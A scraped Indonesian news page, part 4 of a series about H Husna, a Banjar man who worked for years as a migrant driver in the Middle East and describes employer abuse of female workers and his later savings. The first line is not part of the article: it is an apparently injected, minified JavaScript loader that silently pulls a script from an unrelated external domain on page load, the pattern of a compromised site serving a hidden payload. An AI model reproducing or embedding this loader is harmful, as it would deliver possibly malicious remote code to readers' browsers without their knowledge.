(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Balada Haji Turis Banua (4)


Selama menjadi TKI, H Husna mengaku masih beruntung karena bekerja pada manjikan yang dapat dikategorikan setengah baik. Karena menurutnya, sangat langka seorang majikan di Timur Tengah yang benar-benar baik kepada pembantu atau supir pribadinya. Sempat terbesit dalam benaknya, sejarah kelam perbudakan di era para nabi memang tak pernah terhapus sepenuhnya.

Diakui H Husna, tak jarang ia mendapati TKI asal Banua, utamanya Tenaga Kerja Wanita (TKW) mengalami tindak kekerasan yang dilakukan majikan.

“Beberapa kali saya pernah mengantar TKW yang kabur dari rumah majikannya ke Kedutaan RI. Tapi untungnya, saya dan istri saya yang juga menjadi TKW, tidak pernah mengalami itu,” ujarnya.

Dari berbagai pengalaman selama belasan tahun menjadi TKI di negerinya para nabi, H Husna mengaku tak ingin kembali menjadi TKI. Tidak juga anak cucunya nanti. Karena meski diakuinya penghasilan menjadi TKI lebih menjanjikan.

Cukup menjanjikan karena dari penghasilannya selama menjadi TKI, ekonomi keluarganya kini sudah jauh lebih baik. Beberapa bidang tanah dibeli menggunakan uang tabungannya selama menjadi TKI. Dari gajinya selama menjadi TKI pula, H Husna dapat mendirikan sebuah pabrik penggilangan padi dan sebuah warung makan di kawasan Komplek Makam Syekh Muhammad Arsyad Al Banjari.

“Jika bekerja keluar negeri, utamanya sektor nonformal, menjadi pembantu atau supir, saya rasa lebih baik bekerja di sini saja karena memang tidak selama enak menjadi TKI,” kata H Husna.

H Husna hanya satu dari sekian banyak warga Kalsel yang memutuskan menjadi TKI karena latar belakang ekonomi. Karena menurut Fachrizal, Kepala Seksi (Kasi) Perlindungan dan Penempatan pada Balai Pelayanan Penempatan dan Perlindungan Tenaga Kerja Indonesia (BP3TKI) Banjarbaru, latar belakang ekonomi menjadi utama mencari pekerjaan ke luar negeri.

Alasan lain mayoritas warga Kalsel TKI dengan tujuan negara-negara di Timur Tengah, menurut Fachrizal karena dapat sekalian menunaikan ibadah haji. Bahkan menurutnya, tak sedikit TKI asal Banua yang menetap di sana.

“Budaya Islami yang kuat di tengah masyarakat, manjadi faktor lain banyak TKI asal Kalsel di Timur Tengah,” kata Fachrizal.

Di Kalsel, salah satu kabupaten yang menjadi kantong TKI adalah Kabupaten Banjar. Berdasakan data pada BP3TKI Banjarbaru, dari 389 TKI asal Kalsel pada 2015, 57 TKI berasal dari Bumi Serambi Mekkah. “Jumlah TKI yang masih ada semuanya TKI lama yang memperpanjang kontrak kerjanya. Karena sejak 2009 moratorium pengiriman TKI baru diberlakukan,” ujar Fachrizal. (rudiyanto)


Page: 1 2

Desy Arfianty

Recent Posts

PT GEN Siapkan Ekspansi 2025 Kendaraan Angkutan Besar di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - PT Global Equipment Nusatama (GEN) menggelar kicf off meeting evaluasi bersama jajaran… Read More

5 bulan ago

Wujud Negara Hadir, Pemerintah dan PLN Listriki 99,92 Persen Desa di Indonesia

KANALKALIMANTAN.COM, JAKARTA - Pemerintah melalui PT PLN (Persero) terus berupaya menghadirkan listrik di semua wilayah… Read More

5 bulan ago

Banjir di Cempaka, Angkat Perkakas Rumah Sejak Subuh

KANALKALIMANTAN.COM, BANJARBARU - Guyuran hujan yang tak berhenti sejak dini hari Selasa (21/1/2024) hingga siang… Read More

5 bulan ago

BPPW Kalsel Serahkan Stadion Demang Lehman ke Pemkab Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur dan Kepala Balai Prasarana Permukiman Wilayah (BPPW)… Read More

5 bulan ago

Ribuan Jemaah Haul ke-1 Guru Danau Berbaur Bersama Pejabat

KANALKALIMANTAN.COM, AMUNTAI - Ribuan jamaah dari berbagai wilayah dari dan luar Kalimantan Selatan menghadiri pelaksanaan… Read More

5 bulan ago

Cempaka Banjir, Hujan Guyur Banjarbaru Dini Hari hingga Siang

KANALKALIMANTAN.COM, BANJARBARU – Guyuran hujan lebat tengah melanda hampir seluruh wilayah di Kota Banjarbaru sejak… Read More

5 bulan ago

This website uses cookies.